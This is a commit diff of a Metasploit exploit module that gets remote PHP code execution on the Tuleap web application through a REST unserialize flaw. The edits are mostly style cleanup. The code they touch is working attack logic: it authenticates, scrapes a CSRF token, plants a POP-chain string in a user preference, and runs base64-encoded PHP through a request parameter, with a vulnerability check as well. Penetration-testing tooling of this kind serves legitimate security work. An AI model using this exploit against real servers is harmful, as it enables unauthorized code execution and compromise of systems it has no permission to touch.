Update tuleap_rest_unserialize_exec.rb

Author: EgidioRomano

modules/exploits/unix/webapp/tuleap_rest_unserialize_exec.rb

@@ -3,8 +3,6 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-require 'msf/core'
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -42,10 +40,9 @@ def initialize(info = {})
           OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
           OptString.new('USERNAME', [true, "The username to authenticate with" ]),
           OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
-          OptString.new('AID', [ false, "The Artifact ID you have access to", "1"]),
-          OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
+          OptInt.new('AID', [ false, "The Artifact ID you have access to", "1"]),
           Opt::RPORT(443)
-        ], self.class)
+        ])
   end
 
   def setup_popchain(random_param)
@@ -61,15 +58,15 @@ def setup_popchain(random_param)
       'data'      => {'username' => user, 'password' => pass}.to_json
     })
 
-    unless res and (res.code == 201 or res.code == 200) and res.body
+    unless res && (res.code == 201 || res.code == 200) && res.body
       msg = "Login failed with #{user}:#{pass}"
       if $is_check then print_error(msg) end
       fail_with(Failure::NoAccess, msg)
     end
 
     body  = JSON.parse(res.body)
-    uid   = body['user_id'];
-    token = body['token'];
+    uid   = body['user_id']
+    token = body['token']
 
     print_good("Login successful with #{user}:#{pass}")
     print_status("Updating user preference with POP chain string...")
@@ -95,22 +92,22 @@ def setup_popchain(random_param)
       'data'      => pref.to_json
     })
 
-    unless res and res.code == 200
+    unless res && res.code == 200
       msg = "Something went wrong"
       if $is_check then print_error(msg) end
       fail_with(Failure::UnexpectedReply, msg)
     end
   end
 
-  def do_login()
+  def do_login
     print_status("Retrieving the CSRF token for login...")
 
     res = send_request_cgi({
       'method'    => 'GET',
       'uri'       => normalize_uri(target_uri.path, 'account/login.php')
     })
 
-    if res and res.code == 200 and res.body and res.get_cookies
+    if res && res.code == 200 && res.body && res.get_cookies
       if res.body =~ /name="challenge" value="(\w+)">/
         csrf_token = $1
         print_good("CSRF token: #{csrf_token}")
@@ -133,7 +130,7 @@ def do_login()
       'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token}
     })
 
-    unless res and res.code == 302
+    unless res && res.code == 302
       msg = "Login failed with #{user}:#{pass}"
       if $is_check then print_error(msg) end
       fail_with(Failure::NoAccess, msg)
@@ -158,7 +155,7 @@ def exec_php(php_code)
       'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}
     })
 
-    if res and res.code == 200 and res.body =~ /Exiting with Error/
+    if res && res.code == 200 && res.body =~ /Exiting with Error/
       msg = "No access to Artifact ID #{datastore['AID']}"
       $is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
     end
@@ -171,9 +168,9 @@ def check
     flag = rand_text_alpha(rand(10)+20)
     res  = exec_php("print '#{flag}';")
 
-    if res and res.code == 200 and res.body =~ /#{flag}/
+    if res && res.code == 200 && res.body =~ /#{flag}/
       return Exploit::CheckCode::Vulnerable
-    elsif res and res.body =~ /Exiting with Error/
+    elsif res && res.body =~ /Exiting with Error/
       return Exploit::CheckCode::Unknown
     end